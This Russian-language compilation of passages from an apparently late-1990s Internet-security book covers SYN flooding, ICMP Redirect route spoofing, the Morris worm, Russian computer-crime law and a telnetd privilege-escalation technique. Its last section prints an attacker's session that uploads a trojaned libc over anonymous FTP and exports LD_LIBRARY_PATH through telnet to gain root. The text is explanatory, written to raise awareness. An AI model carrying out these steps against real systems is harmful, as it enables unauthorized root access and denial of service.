Из рассмотренной в предыдущем пункте схемы создания TCP-соединения следует, что на каждый полученный TCP-запрос на создание соединения операционная система должна сгенерировать начальное значение идентификатора ISN и отослать его в ответ на запросивший хост. При этом, так как в сети Internet (стандарта IPv4) не предусмотрен контроль за IP-адресом отправителя сообщения, то невозможно отследить истинный маршрут, пройденный IP-пакетом, и, следовательно, у конечных абонентов сети нет возможности ограничить число возможных запросов, принимаемых в единицу времени от одного хоста. Поэтому возможно осуществление типовой УА "Отказ в обслуживании" (п. 3.2.4), которая будет заключаться в передаче на атакуемый хост как можно большего числа ложных TCP-запросов на создание соединения от имени любого хоста в сети (рис. 4.11). При этом атакуемая сетевая ОС в зависимости от вычислительной мощности компьютера либо - в худшем случае - практически зависает, либо - в лучшем случае - перестает реагировать на легальные запросы на подключение (отказ в обслуживании). Это происходит из-за того, что для всей массы полученных ложных запросов система должна, во-первых, сохранить в памяти полученную в каждом запросе информацию и, во-вторых, выработать и отослать ответ на каждый запрос. Таким образом, все ресурсы системы "съедаются" ложными запросами: переполняется очередь запросов и система занимается только их обработкой. Эффективность данной удаленной атаки тем выше, чем больше пропускная способность канала между атакующим и целью атаки, и тем меньше, чем больше вычислительная мощь атакуемого компьютера (число и быстродействие процессоров, объем ОЗУ и т. д.).
Рис. 4.1.1 Нарушение работоспособности хоста в Internet, использующее направленный шторм ложных TCP-запросов на создание соединения.
С нашей точки зрения, очевидность данной удаленной атаки была ясна еще лет двадцать назад, когда появилось семейство протоколов TCP/IP. Корни этой атаки находятся в самой инфраструктуре сети Internet, в ее базовых протоколах - IP и TCP. Но каково же было наше удивление, когда мыувидели на информационном WWW-сервере CERT (Computer Emergency Respone Team) первое упоминание об этой удаленной атаке, датированное только 19 сентября 1996 года! Там эта атака носила название "TCP SYN Flooding and IP Spoofing Attacks" - "навод-нение" TCP-запросами с ложных IP-адресов.
Другая разновидность атаки "Отказ в обслуживании" состоит в передаче на атакуемый хост нескольких десятков (сотен) запросов на подключение к серверу, что может привести к временному (до 10 минут) переполнению очереди запросов на сервере (см. атаку К. Митника из п. 4.5.2 и пример с ОС Linux 1.2.8 в конце данного пункта). Это происходит из-за того, что некоторые сетевые ОС устроены так, чтобы обрабатывать только первые несколько запросов на подключение, а остальные - игнорировать. То есть при получении N запросов на подключение, ОС сервера ставит их в очередь и генерирует соответственно N ответов. Далее, в течение определенного промежутка времени, (тайм-аут ? 10 минут) сервер будет дожидаться от предполагаемого клиента сообщения, завершающего handshake и подтверждающего создание виртуального канала с сервером. Если атакующий пришлет на сервер количество запросов на подключение, равное максимальному числу одновременно обрабатываемых запросов на сервере, то в течение тайм-аута остальные запросы на подключение будут игнорироваться и к серверу будет невозможно подключиться.
Эксперименты с данной удаленной атакой, проводимые на различных сетевых ОС в экспериментальных 10-мегабитных сегментах сети, выявили следующие интересные результаты, с которыми авторы считали бы необходимым вас ознакомить. В случае передачи по каналу связи максимально возможного числа TCP-запросов на создание соединения и нахождении атакующего в одном сегменте с целью атаки атакуемые системы вели себя следующим образом: ОС Windows '95, установленная на 486DX2-66 с 8 Мб ОЗУ, "замирала" и переставала реагировать на всяческие внешние воздействия (нажатия на клавиатуру, например); ОС Linux 2.0.0 на 486DX4-133 c 8 Мб ОЗУ тоже практически прекращала всякую работу и обрабатывала одно нажатие на клавиатуре примерно 30 секунд. Мало того, что к этим атакованным хостам было, естественно, невозможно получить удаленный доступ, но и локальный доступ был невозможен! Наилучший результат в процессе этого теста показал двухпроцессорный файрвол: удаленное подключение к нему было также невозможно, но осуществляемая атака на локальных пользователях никак не сказывалась (все-таки два процессора).
Не менее интересным было поведение атакуемых систем после снятия воздействия. ОС Windows '95 практически сразу же после прекращения воздействия начала нормально функционировать; в ОС Linux 2.0.0 с 8 Мб ОЗУ, по-видимому, переполнился буфер, и более получаса система не функционировала ни для удаленных, ни для локальных пользователей, а занималась передачей ответов на полученные ранее запросы. Двухпроцессорный файрвол сразу же после снятия воздействия стал доступен для удаленного доступа.
При нахождении с атакуемыми системами в соседних смежных сегментах выяснилось следующее: OC Windows '95 на Pentium100 с 16 Мб ОЗУ обрабатывала каждое нажатие на клавиатуре примерно секунду, ОС Linux 2.0.0 на Pentium100 с 16 Мб ОЗУ практически "повисла" - одно нажатие за 30 секунд, зато после снятия воздействия у локального пользователя немедленно появилась возможность нормальной работы.
Не нужно обманываться результатами этого теста и считать, что Windows '95 показала себя с лучшей стороны. Это связано только лишь с тем, что передаваемые TCP-запросы направлялись на FTP-порт, то есть это был запрос на подключение к FTP-серверу, а так как Windows '95 - принципиально клиентская операционная система и FTP-сервера под нее нет, то, следовательно, сохранять в памяти параметры запроса и дожидаться окончания handshake ей просто не было необходимости.
В процессе эксперимента также была выявлена одна принципиальная слабость, присущая всем ОС Linux. После передачи около десятка запросов на определенный порт (FTP или TELNET) на некоторое время (до нескольких десятков минут) на атакуемом хосте отключался соответствующий данному порту сервер (каждая программа-сервер ожидает запросов на определенном зарезервированном порту), то есть в течение определенного промежутка времени у пользователей не было возможности удаленно подключиться к данному серверу и получить удаленный доступ к его ресурсам. Это, как уже говорилось ранее, связано с переполнением числа одновременно обслуживаемых данным сервером клиентов.
В заключение необходимо отметить, что в существующем стандарте сети Internet IPv4 нет приемлемых способов надежно обезопасить свои системы от этой удаленной атаки. К счастью, атакующий в результате осуществления описанной атаки не сможет получить несанкционированный доступ к вашей информации. Он сможет лишь "съесть" вычислительные ресурсы вашей системы и нарушить ее связь с внешним миром. Остается надеяться, что нарушение работоспособности вашего хоста просто никому не нужно.
Нарушения безопасности сети
Начиная с 1987 года пользователи персональных компьютеров сталкиваются с различными компьютерными вирусами. Однако казалось, что миру сетей, большая часть из которых базировалась на ОС UNIX, ничто не угрожает. Поэтому события ноября 1988 года всколыхнули не только тех, кто имел дело с компьютерами и сетями, но и широкую общественность. 2 ноября 1988 года выпускник Корнельского университета Роберт Таппан Моррис запустил свою программу, которая вышла из-под контроля автора и начала быстро перемещаться по сети. В короткий срок вирус-червь заполнил многие узлы Internet, загружая операционные системы своими копиями, вызывая отказы в обслуживании и т.п. Анализ данной атаки будет проведен в главе 8, сейчас же отметим несколько интересных моментов.
В сетевом компьютерном мире имя Роберта Морриса было известным. Еще в 1985 году в AT&T Bell Labs им был опубликован технический отчет, посвященный слабостям реализации TCP/IP в версии 4.2 BSD UNIX [7]. Но этот отчет написан... Робертом Моррисом-старшим - отцом автора червя. Моррис-старший в это время занимал должность научного руководителя Национального Центра Компьютерной Безопасности (NCSC - National Computer Security Center) - эксперта по компьютерной безопасности. Моррис старший много лет проработал в лаборатории AT&T Bell, где в 60-х годах принимал участие в разработке программ Core Wars. К этому необходимо добавить, что лето 1988 года Моррис-младший провел в этой же лаборатории, где был занят переписыванием программ системы безопасности для компьютеров, работающих под управлением ОС UNIX. Кстати, инцидент с программой-червем практически никак не сказался на карьере Морриса-старшего. В начале 1989 года он был избран в специальный консультативный совет при Национальном институте стандартов и министерстве торговли. В задачу этого совета входит выработка заключений и рекомендаций по вопросам безопасности вычислительных систем правительственных органов США, а также решение вопросов, возникающих при разработке и внедрении стандартов защиты информации.
Червь Морриса инфицировал 6200 компьютеров. Подсчитанные потери, хотя формально червь не наносил какого-либо ущерба данным в инфицированных хостах, были разделены на прямые и косвенные. К прямым потерям были отнесены:
остановка, тестирование и перезагрузка 42700 машин;
идентификация червя, удаление, чистка памяти и восстановление работоспособности 6200 машин;
анализ кода червя, дизассемблирование и документирование;
исправление UNIX систем и тестирование.
Прямые потери были оценены более чемв 32 000 000 долларов. К косвенным потерям были отнесены:
потери машинного времени в результате отсутствия доступа к сети;
потери доступа пользователей к сети.
Косвенные потери были оценены более чем в 66 000 000 долларов. Общие затраты были оценены на сумму в 98 253 260 долларов.
В результате этого инцидента мир получил представление о компьютерной опасности, а Internet - постоянную головную боль. После анализа результатов атаки была образована CERT (Computer Emergency Response Team), которая стала отслеживать случаи атак и вырабатывать рекомендации по защите компьютеров и сетей. В самой сети можно почерпнуть данные о количестве зарегистрированных инцидентов, число которых, конечно же, неполно, так как многие подвергнувшиеся атакам не сообщают об этом, чтобы не "потерять лицо" (таблица 2.1).
Таблица 2.1
Официальное количество инцидентов в Internet
| Год | Число инцидентов |
| 1988 | 6 |
| 1989 | 132 |
| 1990 | 252 |
| 1991 | 406 |
| 1992 | 773 |
| 1993 | ? |
| 1994 | ? |
| 1995 | 2412 |
В качестве примеров приведем относительно последние случаи успешных атак на серверы Internet:
В августе 1996 года атакован сервер департамента юстиции США. В течение нескольких часов страницы сервера были заполнены фашистской атрибутикой и содержали пародию на Билль о телекоммуникациях.
6 сентября 1996 года атаке подвергся сервер компании PANIX, являющейся одним из крупнейших провайдеров Internet. В результате атаки компания несколько дней не могла предоставлять услуги своим абонентам.
В октябре 1996 года на сервере ЦРУ вместо "Welcome to the Central Intelligent Agency" появился заголовок "Welcome to the Central Stupidity Agency" и непристойные тексты.
5 ноября 1996 года был атакован WWW-сервер газеты Нью-Йорк Таймс, в результате чего было практически невозможно следить за ходом президентских выборов.
В ноябре 1996 года румынские кракеры заменили на WWW-сервере правительства портрет президента Илиеску на портрет его соперника Константинеску.
5 марта 1997 года взломан сервер NASA в Центре управления космическими полетами Годдарда. Кракеры разместили на страницах сервера свое обращение, в котором осуждалась коммерциализация Internet и выражался протест против судебного преследования знаменитых взломщиков Кевина Митника и Эда Каммингса. В обращении содержалась угроза атаки на "корпоративную Америку" .
20 марта был вскрыт сервер Сэнфорда Уоллейса - президента рекламной фирмы Cyber Promotions. Кракеры поместили в UseNet копию похищенного файла паролей, содержащего зашифрованные пароли, имена и телефоны клиентов фирмы.
Хотя по численности пользователей Internet наша страна сильно уступает США, но число нарушений безопасности также увеличиваются. Вот несколько последних случаев.
27 октября 1996 года российскими кракерами был взломан сервер компании РОСНЕТ, среди клиентов которой Центральный банк РФ, Сбербанк России, Торгово-Промышленная Палата, Государственный Таможенный Комитет РФ и многие другие (п. 4.3.3).
22 ноября 1996 года в Белоруссии на Web-узле оппозиции, представлявшего независимые новости из различных стран и регионов, была стерта вся информация.
Многочисленные попытки осуществить мошеннические операции с кредитными карточками заставили компанию America OnLine 14 декабря 1996 года закрыть пользователям из России доступ к своим службам.
Этот список может быть продолжен. Практически каждый день приносит все новые известия о нарушениях безопасности в различных районах мира. Но печальный опыт жертв кракеров, к сожалению, не учит других. В подтверждение этого сошлемся на исследование независимого консультанта по безопасности Дэна Фармера [8], проведенное в ноябре-декабре 1996 года.
Для исследования Фармер выбрал две группы Web-серверов: основную и контрольную. В основную группу, связанную с деятельностью пользователей, исследователь включил 50 правительственных хостов, 660 банковских хостов, 274 хоста кредитных союзов, 312 хостов газет и 451 хост секс-клубов. В контрольную группу были включены выбранные случайным образом 469 хостов. Каждый из выбранных хостов оценивался на безопасность с помощью свободно распространяемого средства анализа SATAN (главу 8), одним из авторов которого является сам Фармер. Результаты исследования говорят сами за себя. По оценке Фармера более 60% хостов основной группы могут быть разрушены путем вторжения извне, дополнительно от 9 до 24% могут быть взломаны при помощи известных, но не устраненных в данных хостах, ошибок в используемых ими программах wu-ftp и sendmail. Автор считает, что еще 10-20% хостов могло быть поражено при помощи новых атак, происшедших в последнее время. Приблизительность оценок исследования вызвана тем, что автор, естественно, не пытался проникнуть в исследуемые хосты. При сравнении с контрольной группой оказалось, что уязвимость хостов основной группы вдвое выше, чем контрольной. Хотя автор не скрывал своего имени и намерений, только три администратора исследуемых хостов (два из основной группы и один из контрольной) обнаружили факт проведения исследования их хостов на безопасность.
В чем же причина того, что нарушители проникают в чужие машины? Попытаемся кратко перечислить основные причины уязвимости хостов сети:
открытость системы, свободный доступ к информации по организации сетевого взаимодействия, протоколам и механизмам защиты;
наличие ошибок в программном обеспечении, операционных системах и утилитах, которые открыто публикуются в сети;
разнородность используемых версий программного обеспечения и операционных систем;
сложность организации защиты межсетевого взаимодействия;
ошибки конфигурирования систем и средств защиты;
неправильное или ошибочное администрирование систем;
несвоевременное отслеживание и выполнение рекомендаций специалистов по защите и анализу случаев вторжения для ликвидации лазеек и ошибок в программном обеспечении;
"экономия" на средствах и системах обеспечения безопасности или игнорирование их;
умолчание о случаях нарушения безопасности своего хоста или сети.
Трудно не согласиться с автором нашумевшего документального романа "The Hacker Crackdown" Брюсом Стерлингом (Bruce Sterling), который сказал: "Интер-нет - кривое зеркало общества, построившего его. Интернет станет совершенным, когда совершенным станет общество" .
Навязывание хосту ложного маршрута
Как уже подчеркивалось в п. 3.2.3.1, маршрутизация в сети Internet играет важнейшую роль для обеспечения нормального функционирования сети. Маршрутизация в Internet осуществляется на сетевом уровне (IP-уровень). Для ее обеспечения в памяти сетевой ОС каждого хоста существуют таблицы маршрутизации, содержащие данные о возможных маршрутах. Каждый сегмент сети подключен к глобальной сети Internet как минимум через один маршрутизатор, а, следовательно, все хосты в этом сегменте и маршрутизатор должны физически располагаться в одном сегменте. Поэтому все сообщения, адресованные в другие сегменты сети, направляются на маршрутизатор, который, в свою очередь, перенаправляет их далее по указанному в пакете IP-адресу, выбирая при этом оптимальный маршрут. Напомним, что в сети Internet для выбора оптимального маршрута используются специальные протоколы маршрутизации: RIP, OSPF и т. д.
Рассмотрим, что представляет из себя таблица маршрутизации хоста. В каждой строке этой таблицы содержится описание соответствующего маршрута. Это описание включает: IP-адрес конечной точки маршрута (Destination), IP-адрес соответствующего маршрутизатора (Gateway), а также ряд других параметров, характеризующих этот маршрут. Обычно в системе существует так называемый маршрут по умолчанию (поле Destination содержит значение 0.0.0.0, то есть default, а поле Gateway - IP-адрес маршрутизатора). Этот маршрут означает, что все пакеты, адресуемые на IP-адрес вне пределов данной подсети, будут направляться по указанному default-маршруту, то есть на маршрутизатор (это реализуется установкой в поле адреса назначения в Ethernet-пакете аппаратного адреса маршрутизатора).
Как говорилось ранее, в сети Internet существует управляющий протокол ICMP, одной из функций которого является удаленное управление маршрутизацией на хостах внутри сегмента сети. Удаленное управление маршрутизацией необходимо для предотвращения возможной передачи сообщений по неоптимальному маршруту. В сети Internet удаленное управление маршрутизацией реализовано в виде передачи с маршрутизатора на хост управляющего ICMP-сообщения: Redirect Message. Исследование протокола ICMP показало, что сообщение Redirect бывает двух типов. Первый тип сообщения носит название Redirect Net и уведомляет хост о необходимости смены адреса маршрутизатора, то есть default-маршрута. Второй тип - Redirect Host - информирует хост о необходимости создания нового маршрута к указанной в сообщении системе и внесения ее в таблицу маршрутизации. Для этого в сообщении указывается IP-адрес хоста, для которого необходима смена маршрута (адрес будет занесен в поле Destination), и новый IP-адрес маршрутизатора, на который необходимо направлять пакеты, адресованные данному хосту (этот адрес заносится в поле Gateway). Необходимо обратить внимание на важное ограничение, накладываемое на IP-адрес нового маршрутизатора: он должен быть в пределах адресов данной подсети!
Анализ исходных текстов ОС Linux 1.2.8 показал, что ICMP-сообщение Redirect Net игнорируется данной ОС (это представляется логичным, так как динамическая смена маршрутизатора в процессе работы системы вряд ли необходима. Видимо, можно сделать вывод, что это сообщение игнорируют и другие сетевые ОС). Что касается управляющего сообщения ICMP Redirect Host, то единственным идентифицирующим его параметром является IP-адрес отправителя, который должен совпадать с IP-адресом маршрутизатора, так как это сообщение может передаваться только маршрутизатором. Особенность протокола ICMP состоит в том, что он не предусматривает никакой дополнительной аутентификации источников сообщений. Таким образом, ICMP-сообщения передаются на хост маршрутизатором однонаправлено, без создания виртуального соединения. Следовательно, ничто не мешает атакующему послать ложное ICMP-сообщение о смене маршрута от имени маршрутизатора.
Приведенные выше факты позволяют осуществить типовую удаленную атаку "Внедрение в распределенную ВС ложного объекта путем навязывания ложного маршрута" , рассмотренную в п. 3.2.3.1.
Для осуществления этой удаленной атаки необходимо подготовить ложное ICMP Redirect Host сообщение, в котором указать конечный IP-адрес маршрута (адрес хоста, маршрут к которому будет изменен) и IP-адрес ложного маршрутизатора. Далее это сообщение передается на атакуемый хост от имени маршрутизатора. Для этого в IP-заголовке в поле адреса отправителя указывается IP-адрес маршрутизатора. В принципе, можно предложить два варианта данной удаленной атаки.
В первом случае атакующий находится в том же сегменте сети, что и цель атаки. Тогда, послав ложное ICMP-сообщение, он в качестве IP-адреса нового маршрутизатора может указать либо свой IP-адрес, либо любой из адресов данной подсети. Это даст атакующему возможность изменить маршрут передачи сообщений, направляемых атакованным хостом на определенный IP-адрес, и получить контроль над трафиком между атакуемым хостом и интересующим атакующего сервером. После этого атака перейдет во вторую стадию, связанную с приемом, анализом и передачей пакетов, получаемых от "обманутого" хоста. Рассмотрим функциональную схему осуществления этой удаленной атаки (рис 4.7):
Рис. 4.7. Внутрисегментное навязывание хосту ложного маршрута при использовании протокола ICMP.
Рис. 4.7.1. Фаза передачи ложного ICMP Redirect сообщения от имени маршрутизатора.
Рис. 4.7.2. Фаза приема, анализа, воздействия и передачи перехваченной информации на ложном сервере.
передача на атакуемый хост ложного ICMP Redirect Host сообщения;
отправление ARP-ответа в случае, если пришел ARP-запpос от атакуемого хоста;
перенаправление пакетов от атакуемого хоста на настоящий маршрутизатор;
перенаправление пакетов от маршрутизатора на атакуемый хост;
при приеме пакета возможно воздействие на информацию по схеме "Ложный объект РВС"(п. 3.2.3.3).
В случае осуществления второго варианта удаленной атаки атакующий находится в другом сегменте относительно цели атаки. Тогда, в случае передачи на атакуемый хост ложного ICMP Redirect сообщения, сам атакующий уже не сможет получить контроль над трафиком, так как адрес нового маршрутизатора должен находиться в пределах подсети атакуемого хоста (см. описанную выше в этом пункте реакцию сетевой ОС на ICMP Redirect сообщение), поэтому использование данного варианта этой удаленной атаки не позволит атакующему получить доступ к передаваемой по каналу связи информации. Однако, в этом случае атака достигает другой цели: нарушается работоспособность хоста. Атакующий с любого хоста в Internet может послать подобное сообщение на атакуемый хост и в случае, если сетевая ОС на данном хосте не проигнорирует данное сообщение, то связь между данным хостом и указанным в ложном ICMP-сообщении сервером будет нарушена. Это произойдет из-за того, что все пакеты, направляемые хостом на этот сервер, будут отправлены на IP-адрес несуществующего маршрутизатора. Схема этой атаки приведена на рис. 4.8.
Рис. 4.8. Межсегментное навязывание хосту ложного маршрута при использовании протокола ICMP, приводящее к отказу в обслуживании.
Рис. 4.8.1. Передача атакующим на хост 1 ложного ICMP Redirect сообщения от имени маршрутизатора 1.
Рис. 4.8.2. Дезинформация хоста 1. Его таблица маршрутизации содержит информацию о ложном маршруте к хосту top.secret.com
Эксперимент показал, что оба варианта рассмотренной удаленной атаки удается осуществить (как межсегментно, так и внутрисегментно) на ОС Linux 1.2.8, ОС Windows '95 и ОС Windows NT 4.0. Остальные сетевые ОС, исследованные нами (Linux 2.0.0 и защищенный по классу B1 UNIX), игнорировали данное ICMP Redirect сообщение (что, не правда ли, кажется вполне логичным с точки зрения обеспечения безопасности!).
Недостаточная идентификация и аутентификация объектов и субъектов РВС
Как уже подчеркивалось в предыдущих главах, проблема идентификации и аутентификации субъектов и объектов РВС имеет чрезвычайно важное значение. От успеха ее решения зависит безопасность распределенной ВС в целом. Примеры успешно осуществленных удаленных атак, рассмотренные в предыдущих главах, доказывают, что отсутствие у разработчиков определенной заранее выработанной концепции и принципов идентификации объектов РВС в целом оставляют атакующему потенциальные возможности для компрометации объектов системы. Стандартными способами компрометации субъектов и объектов РВС являются:
выдача себя за определенный объект или субъект с присвоением его прав и полномочий для доступа в систему (например, см. п. 3.2.2 - типовая УА "Подмена доверенного субъекта или объекта РВС" );
внедрение в систему ложного объекта, выдающего себя за доверенный объект системы (например, см. п. 3.2.3 - типовая УА "Ложный объект РВС" ).
В Internet в базовых протоколах обмена идентификация и аутентификация объектов практически отсутствует. Так, в прикладных протоколах FTP и TELNET имена и пароли пользователей передаются по сети в виде открытых незашифрованных сообщений (п. 4.1). В существующем стандарте IPv4 протокол сетевого уровня - IP - не предусматривает никакой идентификации и аутентификации объектов (за исключением IP-адреса отправителя, подлинность которого, в свою очередь, невозможно подтвердить (п. 5.1.3-5.1.4)). Все проблемы с идентификацией разработчики переложили на следующий - транспортный - уровень. За этот уровень отвечают протоколы UDP и TCP. Протокол UDP не содержит в себе дополнительной идентифицирующей информации, однако используется для передачи управляющих (!) ICMP-сообщений (п. 4.4). Таким образом, единственным протоколом, приз-ванным обеспечить безопасность в Internet, является протокол TCP, взаимодействие с использованием которого осуществляется по виртуальному каналу.
Немного истории
Когда усилия науки
прольют везде елей и мед,
по любопытству иль со скуки
все это кто-нибудь взорвет.
И.Губерман.
Гарики на каждый день.
Мир тесен... Подтверждением этого обыденного выражения может служить история возникновения Internet. Как это ни парадоксально звучит, но возникновению Internet США в определенной степени обязаны... Советскому Союзу.
После второй мировой войны, продемонстрировав друг другу и остальному миру наличие ядерного и водородного оружия, Советский Союз и США начали разработку ракетных носителей для доставки этого оружия. Соперничество велось ускоренными темпами в обстановке строжайшей секретности. Уже в 1947 году США ввели по отношению к Советскому Союзу санкции, ограничивающие экспорт стратегических товаров и технологий. Под технологией в этом случае понималась специальная информация, необходимая для разработки, производства и использования изделия. Эти ограничения были окончательно сформулированы и оформлены в 1950 году созданным координационным комитетом по многостороннему стратегическому экспортному контролю - КОКОМ (COCOM - Coordinating Committee for multilateral strategic export controls). Начавшаяся холодная война и изоляция от мировых достижений науки и техники потребовали от Советского Союза абсолютной самостоятельности. Соперничество двух ведущих держав мира стало захватывать сферу науки и технологий.
Поскольку все работы велись в обстановке строжайшей секретности, то как гром среди ясного неба 4 октября 1957 года прозвучало сообщение о запуске Советским Союзом первого искусственного спутника Земли, что показало наличие у Советского Союза ракетоносителей, а также отставание США. Запуск первого искусственного спутника и послужил причиной подписания президентом США Д.Эйзенхауэром документа о создании в рамках министерства обороны Агентства по перспективным научным проектам - DARPA (Defence Advanced Research Project Agency).
Вновь созданная организация объединила виднейших ученых страны для решения ряда стратегических задач, которые должны были бы обеспечить стратегическое превосходство США. В частности, одним из результатов деятельности этого агентства был запуск амери-канского спутника через 18 месяцев после советского. Через несколько лет основная деятельность DARPA сконцентрировалась на сетевых компьютерных и коммуникационных технологиях.
Невозможность контроля за виртуальными каналами связи между объектами сети Internet
В существующем стандарте сети Internet невозможно обеспечить контроль за сетевыми соединениями, так как у одного субъекта сетевого взаимодействия существует возможность занять неограниченное число каналов связи с удаленным объектом и при этом остаться анонимным (п. 5.1.3). Из-за этого любой хост в сети Internet может быть полностью парализован (п. 4.6).
Новые законы УК РФ, связанные с "преступлениями в сфере компьютерной информации"
Для тех, кто хочет посмотреть на проблему безопасности с другой стороны, со стороны кракера, хочется напомнить, что с 1997 года начали
действовать новые статьи УК РФ, где, к сожалению, довольно расплывчато и нечетко описывается та возможная уголовная ответственность, которую могут нести граждане РФ за "преступления в сфере компьютерной информации" (Глава 28 УК РФ):
Статья 272. Неправомерный доступ к компьютерной информации.
1. Неправомерный доступ к охраняемой законом компьютерной информации, то есть информации на машинном носителе, в электронно-вычислительной машине (ЭВМ), системе ЭВМ или их сети, если это деяние повлекло уничтожение, блокирование, модификацию либо копирование информации, нарушение работы ЭВМ, системы ЭВМ или их сети, - наказывается штрафом в размере от двухсот до пятисот минимальных размеров оплаты труда или в размере заработной платы или иного дохода осужденного за период от двух до пяти месяцев, либо исправительными работами на срок от шести месяцев до одного года, либо лишением свободы на срок до двух лет.
2. То же деяние, совершенное группой лиц по предварительному сговору или организованной группой, либо лицом с использованием своего служебного положения, а равно имеющим доступ к ЭВМ, системе ЭВМ или их сети, - наказывается штрафом в размере от пятисот до восьмисот минимальных размеров оплаты труда или в размере заработной платы, или иного дохода осужденного за период от пяти до восьми месяцев, либо исправительными работами на срок от одного года до двух лет, либо арестом на срок от трех до шести месяцев, либо лишением свободы на срок до пяти лет.
Статья 273.Создание, использование и распространение вредоносных программ для ЭВМ.
1. Создание программ для ЭВМ или внесение изменений в существующие программы, заведомо приводящих к несанкционированному уничтожению, блокированию, модификации либо копированию информации, нарушению работы ЭВМ, системы ЭВМ или их сети, а равно использование либо распространение таких программ или машинных носителей с такими программами, - наказываются лишением свободы на срок до трех лет со штрафом в размере от двухсот до пятисот минимальных размеров оплаты труда или в размере заработной платы или иного дохода осужденного за период от двух до пяти месяцев.
2. Те же деяния, повлекшие по неосторожности тяжкие последствия, - наказываются лишением свободы на срок от трех до семи лет.
Статья 274. Нарушение правил эксплуатации ЭВМ, системы ЭВМ или их сети.
1. Нарушение правил эксплуатации ЭВМ, системы ЭВМ или их сети лицом, имеющим доступ к ЭВМ, системе ЭВМ или их сети, повлекшее уничтожение, блокирование или модификацию охраняемой законом информации ЭВМ, если это деяние причинило существенный вред, - наказывается лишением права занимать определенные должности или заниматься определенной деятельностью на срок до пяти лет, либо обязательными работами на срок от ста восьмидесяти до двухсот сорока часов, либо ограничением свободы на срок до двух лет.
2. То же деяние, повлекшее по неосторожности тяжкие последствия, - наказывается лишением свободы на срок до четырех лет.
По своей сути данный закон должен быть направлен именно на кракеров. Однако, первое, что бросается в глаза, это то, что не предусмотрено такое правонарушение, как взлом программного обеспечения. Это позволило известному Санкт-Петербургскому кракеру открыто показаться на 5 канале телевидения и вдоволь посмеяться над принятым законом. С другой стороны, расплывчатость формулировок статей закона, в случае их формальной трактовки, позволяет привлечь к уголовной ответственности практически любого программиста или системного администратора (например, допустившего ошибку, которая повлекла за собой причинение определенного законом ущерба). Так что программы теперь лучше вообще не писать.
Если же серьезно, то применение на практике данного закона чрезвычайно затруднено. Это связано, во-первых, со сложной доказуемостью подобных дел (судя по зарубежному опыту) и, во-вторых, с естественным отсутствием высокой квалификации в данной области у следователей. Поэтому, видимо, пройдет еще не один год, пока мы дождемся громкого успешного уголовного процесса по "преступлению в сфере компьютерной информации" .
О чем эта книга?
О безопасности сети Internet, а если точнее, то о той опасности, которая угрожает всем пользователям Сети. Основной целью авторов являлось показать, что Internet как величайшее информационное достижение человечества помимо очевидных достоинств обладает рядом существенных недостатков в ее сложившейся системе безопасности. Мы, основываясь на своих практических исследованиях безопасности Сети и анализе доступной информации, попытались как можно более подробно и точно описать те возможные удаленные информационные разрушающие воздействия (удаленные атаки), о которых ходит столько слухов и мифов в среде пользователей Internet и которые в любой момент могут пожаловать к вам в качестве незваных гостей. А для того, чтобы оказать им достойную встречу, необходимо знать основные типы возможных атак и понимать механизмы их реализации. Авторам хотелось бы надеяться, что наша основная цель - повышение уровня информированности специалистов и пользователей Internet о тех угрозах информационной безопасности, которые таит в себе Сеть, все-таки будет достигнута!
Оценка безопасности Internet
Исходно сеть создавалась как незащищенная открытая система, предназначенная для информационного общения все возрастающего числа пользователей.
При этом подключение новых пользователей должно было быть максимально простым, а доступ к информации - наиболее удобным. Все это явно противоречит принципам создания защищенной системы, безопасность которой должна быть описана на всех стадиях ее создания и эксплуатации, а пользователи - наделены четкими полномочиями.
Создатели сети не стремились к этому, да и требования защиты настолько бы усложнили проект, что сделали бы его создание едва ли возможным.
Вывод: Internet создавался как незащищенная система, не предназначенная для хранения и обработки конфиденциальной информации. Более того, защищенный Internet не смог бы стать той системой, которой он сейчас является и не превратился бы в информационный образ мировой культуры, ее прошлого и настоящего. В этом самостоятельная ценность Сети и, возможно, ее небезопасность есть плата за такое высокое назначение.
Следствие: Имеется множество пользователей, заинтересованных в том, чтобы Internet стал системой с категорированной информацией и полномочиями пользователями, подчиненными установленной политике безопасности.
Однако наиболее яркие творения человеческого разума через некоторое время начинают жить самостоятельной жизнью, развиваясь и выходя за первоначальные замыслы создателей. Поэтому слабая защищенность сети с течением времени стала все больше беспокоить ее пользователей.
На наш взгляд, в Сети не должна находиться информация, раскрытия которой приведет к серьезным последствиям. Наоборот, в Сети необходимо размещать информацию, распространение которой желательно ее владельцу. При этом всегда необходимо учитывать тот факт, что в любой момент эта информация может быть перехвачена, искажена или может стать недоступной. Следовательно, речь должна идти не о защищенности Internet, а об обеспечении разумной достаточности информационной безопасности Сети.
Конечно, это не отменяет необходимости ознакомления пользователя с богатым и все время возрастающим арсеналом программных и аппаратных средств обеспечения информационной безопасности сети. Тем не менее отметим, что они не в состоянии превратить Internet в защищенную среду, что означило бы изменение ее природы.
Ошибка в демоне telnetd
Эта уязвимость, основанная на недоработке в демоне, отвечающем за протокол telnet, на наш взгляд, является одной из самых красивых и стала уже почти такой же хрестоматийной, как команда debug в sendmail. Хосты, подверженные этой уязвимости, должны иметь анонимный ftp-сервис с разрешением на запись в один из своих каталогов (типа ~ftp/incoming).
Основная идея проникновения такова: злоумышленник подменяет стандартную библиотеку libc своей, имеющей "троянского коня": при вызове некоторых функций она запускает командную оболочку. Затем он помещает ее на атакуемую машину, используя анонимный ftp-сервис. Основная его задача - сделать так, чтобы она воспринималась на атакуемой машине как настоящая. Для этого он подменяет специальные переменные окружения, которые теперь будут указывать на "троянскую" библиотеку. Наконец, те telnet-демоны, которые поддерживают опцию передачи переменных окружения (RFC 1408 или RFC 1572), смогут передать их на удаленную машину. После этого злоумышленнику остается только попытаться войти по telnet'у на атакованную машину. При отработке функции login() будет вызвана одна из "троянских" функций, и злоумышленник получит привилегии суперпользователя. Таким образом, это типичная атака по сценарию 1, но для ее подготовки нужен предварительный вход на машину через анонимный ftp (естественно, возможны любые другие комбинации, позволяющие записать файл в любой каталог удаленной машины). Указанная атака выглядит примерно так: evil:~# ftp victim.com
Connected to victim.com 220 Victim FTP server (Version wu-2.4(4) Sat Mar 24 14:37:08 EDT 1996) ready. Name (evil: root ): anonymous
331 Guest login ok, send your complete e-mail address as password. Password: ***** 230 Guest login ok, access restrictions apply. Remote system type is UNIX. Using binary mode to transfer files. ftp> cd incoming
250 CWD command successful. ftp> send libc.so.4
200 PORT command successful. 150 Opening BINARY mode data connection for libc.so.4. 226 Transfer complete. ftp> bye
221 Goodbye. evil:~# telnet
telnet> env define LD_LIBRARY_PATH /home/ftp/incoming
telnet> env export LD_LIBRARY_PATH
telnet> open victim.com
